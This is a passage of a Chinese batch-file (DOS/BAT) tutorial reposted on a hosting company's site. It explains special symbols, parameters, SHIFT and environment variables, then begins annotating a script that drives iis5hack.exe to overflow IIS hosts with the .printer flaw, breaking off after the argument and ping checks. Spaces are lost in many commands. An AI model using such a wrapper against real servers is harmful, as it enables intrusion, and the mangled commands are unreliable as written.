快速业务通道

经过整理的一些dos/bat批处理教程

作者 佚名 来源 批处理 浏览 发布时间 2013-07-09
pro*
以上方法都可以进入ProgramFiles目录
9、符号(,)
,符号相当于空格。在某些特殊的情况下可以用,来代替空格使用。例:
c:\>dir,c:\
10、符号(;)
;符号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。如执行过程中发生错误则只返回错误报告但程序还是会继续执行。例:
DIRC:\;D:\;E:\F:\
以上的命令相当于
DIRC:\
DIRD:\
DIRE:\
DIRF:\
当然还有些特殊的符号但他们的使用范围很小我就不再这里一一的说明了。

第三部分:批处理与变量

在批处理中适当的引用变量将会使你所编制的程序应用面更广。批处理每次能处理的变量从%0~%9共10个。其中%0默认给批处理的文件名使用。除非在使用SHIFT命令后%0才能被%1所替代。引用shift命令的例子如果把%1前面多加上一个%0那么结果如下:
C::\>SHIFT.BAT1234567891011
SHIFT.BAT123456789
12345678910
234567891011
系统是如何区分每个变量的呢,系统区分变量的规则为字符串中间的空格,即只要发现空格就把空格前面的字符当作一个变量而空格后面的字符则作为另一个变量。如果你的变量是一个当中包含空格的长目录名这时候你需要用上一节特殊符号8中所用的引号将他圈起来。例:
批处理内容为:
ECHO%1
ECHO%2
ECHO%3
输入命令:
C:\>TEST“ProgramFiles”ProgramFiles
ProgramFiles
Program
Files
在一个复杂的批处理中又可能同时使用的变量会超过10个这时候会和系统的规则想冲突那么这个问题怎么解决呢?在系统中还有一种变量称之为环境变量(使用SET命令可以查看当前系统的环境变量)如当前系统目录是%windir%或%SystemRoot%等。当同时使用的参数超过10个的时候,我们可以把某些在后面的程序中还要调用的变量保存为环境变量。具体用法如SETA=%1这样我们就命名了一个新的环境变量A在调用变量A的时候要%A%这样调用,环境变量不受SHIFT命令影响。如果要改变一个环境变量需要重新对其设置才能改变。当然也可以进行变量与变量之间的传递来达到目的。下面我们来看一个例子,批处理如下:
ECHOOFF
SETPASS=%1
SHIFT
SETPASS1=%1
SHIFT
ECHO%PASS%%PASS1%%1%2%3%4%5%6%7%8%9
SHIFT
ECHO%PASS%%PASS1%%9
SETPASS=%PASS1%变量的传递
SETPASS1=%9
SHIFT
ECHO%PASS%%PASS1%%9
使用命令:C:\>TESTAB345678910KL
AB345678910K注意:这一行显示了11个变量
ABL在使用了3次SHIFT之后%9变成了L
BL变量的传递后的结果


第四部分:完整案例

以上就是批处理的一些用法。现在我们把这些用法结合起来详细的分析一下目前网上发布的一些批处理,看看他们是怎么运作的。这里我将列举三个例子来详细分析,为了保持程序的完整我的注释会加在/*后面。
例一
这个例子是利用iis5hack.exe对有.printer漏洞的主机进行溢出的批处理。用到的程序有iis5hack.exe和系统自带的telnet.exe。iis5hack的命令格式为:
iis5hack<目标ip><目标端口><目标版本><溢出连接端口>目标版本为0-9这10个数字分别对应不同语言版本和sp的系统版本,我们编制的批处理使用的命令格式为<iis.bat目标ip(开始版本号)>开始版本号可有可无。程序如下。
@echooff/*关闭命令回显
if"%1%"==""gotohelp/*判断%1是否为空,%1为目标ip
if"%2%"=="1"goto1/*判断%2是否为1,为1则跳转标志1
if"%2%"=="2"goto2/*%2为开始版本号,如果没有设置则
if"%2%"=="3"goto3/*如果存在则从匹配的地方开始执行
if"%2%"=="4"goto4
if"%2%"=="5"goto5
if"%2%"=="6"goto6
if"%2%"=="7"goto7
if"%2%"=="8"goto8
ifnotEXISTiis5hack.exegotofile/*没有发现iis5hack.exe就执行标志file段内容
ping%1-n1|find"Received=1"/*ping目标1次,从结果中发现Received=1
iferrorlevel1gotoerror/*如果返回代码为1则执行error段(代码

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号